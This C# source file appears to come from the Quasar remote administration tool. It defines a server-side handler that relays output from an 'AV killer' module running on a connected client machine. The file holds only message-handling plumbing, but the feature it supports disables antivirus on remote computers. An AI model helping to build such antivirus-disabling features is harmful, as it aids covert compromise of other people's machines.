using Quasar.Common.Messages;
using Quasar.Common.Networking;
using Quasar.Server.Networking;
using System;

namespace Quasar.Server.Messages
{
    public class AVKillerHandler : MessageProcessorBase<AVKillerResponse>
    {
        private readonly Client _targetClient;

        public AVKillerHandler(Client client) : base(true)
        {
            _targetClient = client;
        }

        public override bool CanExecute(IMessage message) => message is AVKillerResponse;

        public override bool CanExecuteFrom(ISender sender) => _targetClient.Equals(sender);

        public override void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case AVKillerResponse resp:
                    Execute(sender, resp);
                    break;
            }
        }

        private void Execute(ISender client, AVKillerResponse message)
        {
            OnOutputReceived(message.Output, message.IsError);
        }

        public event EventHandler<OutputEventArgs> OutputReceived;

        private void OnOutputReceived(string output, bool isError)
        {
            var handler = OutputReceived;
            handler?.Invoke(this, new OutputEventArgs(output, isError));
        }
    }

    public class OutputEventArgs : EventArgs
    {
        public string Output { get; }
        public bool IsError { get; }

        public OutputEventArgs(string output, bool isError)
        {
            Output = output;
            IsError = isError;
        }
    }
}
